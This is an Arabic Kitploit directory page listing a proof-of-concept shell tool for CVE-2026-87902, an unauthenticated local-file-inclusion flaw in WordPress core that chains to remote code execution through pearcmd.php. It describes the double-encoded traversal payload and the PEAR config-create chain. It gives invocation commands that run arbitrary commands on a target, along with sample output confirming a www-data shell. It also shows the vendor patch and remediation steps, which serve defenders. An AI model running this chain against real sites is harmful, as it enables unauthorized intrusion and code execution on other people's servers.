Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-87902-PoC-pwnVader — Shell PoC لـ CVE-2026-87902، وهو LFI غير مصادق عليه في نواة WordPress عبر حل قوالب الصفحات يتسلسل إلى RCE من خلال pearcmd.php. | Kitploit
أدوات/GitHubGitHub/pwnvader/cve-2026-87902-poc-pwnvader
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبالمحاكاة الافتراضية للأمانأمن الويباختبار الاختراقأداة الوصول عن بعدتطوير الحمولات
GitHub
pwnvader/cve-2026-87902-poc-pwnvader

CVE-2026-87902-PoC-pwnVader

Shell PoC لـ CVE-2026-87902، وهو LFI غير مصادق عليه في نواة WordPress عبر حل قوالب الصفحات يتسلسل إلى RCE من خلال pearcmd.php.

عرض المستودع
2منذ 4 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-87902 — تضمين ملف محلي بدون مصادقة في آلية حل قوالب الصفحات في نواة ووردبريس ← تنفيذ تعليمات برمجية عن بُعد

المؤلف: pwnVader · الترخيص: MIT (جذر المستودع)

المكوّننواة ووردبريس (wp-includes/template.php)
النوعCWE-98 — تضمين ملفات PHP (LFI ← RCE)
المتأثرWordPress < 7.1.2 (فرع 7.0 تم إصلاحه في 7.0.6؛ الإصدارات المرتجعة 6.x تعتمد على الفرع)
المُصلَح7.1.2 / 7.0.6
CVECVE-2026-87902 — CVSS 3.1 8.1 (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H)
إثبات المفهومpoc.sh

الملخص

تُضيف الدالة get_page_template() القيمة page-{urldecode(pagename)}.php إلى تسلسل قوالب الصفحات عندما يحتوي متغير الاستعلام pagename على محارف مُرمَّزة بنسبة مئوية، وتقوم الدالة locate_template() بحل المرشح باستخدام file_exists() / require دون التحقق من بقاء المسار داخل القالب النشط. لذلك يمكن لمهاجم غير مُصادَق عليه تضمين وتنفيذ ملف .php محلي مقروء خارج القالب النشط.

الشروط المسبقة:

  1. WordPress < 7.1.2.
  2. يحتوي القالب النشط على دليل من المستوى الأعلى يبدأ بـ page- (على سبيل المثال، قالب Twenty Fourteen الرسمي يتضمن page-templates/). اسم القالب يبدأ دائمًا بـ page-، لذا يجب أن يكون المكوّن الأول من المسار موجودًا.
  3. معرّف صفحة عامة صالح بحيث يكون الاستعلام الرئيسي صفحة (وليس 404). يكتشف السكربت أحدها من خريطة الموقع الأساسية، أو صنف body في الصفحة الرئيسية، أو من فحص معرّفات صغير.

يتم ترميز الحمولة مرتين بحيث تحافظ الدالة sanitize_title_for_query() على الثمانيات %2e/%2f؛ ثم تعيد urldecode() داخل get_page_template() بناء ../ في وقت حل القالب.

إذا كان الخادم يحتوي أيضًا على pearcmd.php يمكن الوصول إليه وregister_argc_argv = On (القيمة الافتراضية في صورة PHP الرسمية)، فإن السلسلة تتصاعد إلى تنفيذ تعليمات برمجية عن بُعد: تصبح سلسلة الاستعلام وسائط سطر أوامر (argv) عبر فواصل +، وتكتب pear config-create ملف .php يتحكم فيه المهاجم، ثم يضمّنه نفس ثغرة LFI.

الاستخدام

root@kitploit:~
# Interactive menu (recommended for a quick start)
./poc.sh

# 1) Detect the LFI (read-only)
./poc.sh check --target https://example.com

# 2) Detect the LFI and test the RCE preconditions (self-deleting payload)
./poc.sh check-rce --target https://example.com --authorized

# 3) Execute a command through the chain (self-deleting payload)
./poc.sh rce --target https://example.com --authorized --cmd "id;hostname"

الخيارات: --page-id N، --ups N، --pearcmd PATH، --timeout N. يُشترط --authorized (أو VDP_AUTHORIZED=1) لأي وضع قد يقوم بالكتابة عندما لا يكون الهدف هو localhost.

مثال على المخرجات (check)

root@kitploit:~
== CVE-2026-87902 PoC (check) ==
target: https://example.com

[1] Discovering a public page ID
  [info] page_id: 17
  [info] baseline: POST /?page_id=17 -> 52377 bytes

[2] Testing the LFI (read-only include of wp-includes/version.php)
  [PASS] VULNERABLE: included wp-includes/version.php from outside the theme (0-byte body vs 52377-byte page)
  [info] theme directory: page-templates/   traversal depth to webroot: 4
  [info] second file confirmed: wp-admin/install.php executed (static string returned)

== RESULT: VULNERABLE to CVE-2026-87902 (LFI confirmed) ==

مثال على المخرجات (check-rce / rce)

root@kitploit:~
[3] Testing the LFI-to-RCE chain (self-deleting payload)
  [PASS] pearcmd.php executed via the LFI (usr/local/lib/php/pearcmd, root depth 7)
  [PASS] RCE CONFIRMED: command output returned (uid/gid present)
  [info] payload self-deleted (cleanup verified)

[4] Executing command: id;hostname;whoami
  > uid=33(www-data) gid=33(www-data) groups=33(www-data)
  > 4119cb19757f
  > www-data

إذا تم تأكيد ثغرة LFI لكن PEAR غير موجود (أو كان register_argc_argv معطّلًا)، يُبلّغ السكربت عن الشرط المسبق بوضوح ويخرج دون كتابة أي شيء (exit 3).

منطق الكشف

  1. العثور على معرّف صفحة عامة (خريطة الموقع ← صنف body في الصفحة الرئيسية ← فحص رقمي).
  2. لكل دليل قالب مرشح page-* وعمق اجتياز، اطلب page-<dir>/../../…/wp-includes/version.php عبر معامل pagename (POST، جسم فارغ — مطلوب لأن ووردبريس يعيد التوجيه الأساسي لـ GET/HEAD أولًا).
  3. استجابة 200 بجسم 0 بايت (مقابل خط الأساس للصفحة الذي يبلغ عدة كيلوبايت) تُثبت التضمين.
  4. فحص RCE: حاول تنفيذ pear config-create عبر ثغرة LFI بحمولة ذاتية الحذف، ثم ضمّن الملف المكتوب مع أمر مُقدَّم في الطلب.

السبب الجذري / الإصلاح

إصلاح المورّد في 7.1.2 (wp-includes/template.php):

root@kitploit:~
-        if ( $pagename_decoded !== $pagename ) {
+        if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) {

بالإضافة إلى فحص احتواء realpath() في locate_template() (_wp_is_template_path_allowed()). يحتوي wordpress-7.0.6 على الإصلاح المطابق بايتًا ببايت.

المعالجة

  • حدّث نواة ووردبريس إلى 7.1.2 (أو 7.0.6 لفرع 7.0).
  • حل مؤقت: ارفض قيم pagename التي تحتوي على تسلسلات اجتياز المسار (..، %2e%2e، %252e%252e) على كل طرق HTTP، أو أزل الشرط المسبق الخاص بدليل القالب page-*.

المراجع

  • NVD — CVE-2026-87902: https://nvd.nist.gov/vuln/detail/CVE-2026-87902
  • إشعار المورّد: https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-7hp8-65ch-5whp
  • الإصدارات المُصلَحة: https://wordpress.org/wordpress-7.1.2.tar.gz · https://wordpress.org/wordpress-7.0.6.tar.gz

إخلاء المسؤولية

لاختبارات الأمان المصرّح بها فقط. تستخدم أوضاع RCE حمولة ذاتية الحذف ولا تكتب أي شيء يتجاوز ملف العلامة المؤقت الخاص بها، لكنها مع ذلك تنفّذ أوامر على الهدف — شغّلها فقط حيث لديك إذن صريح.

تنزيل الأداة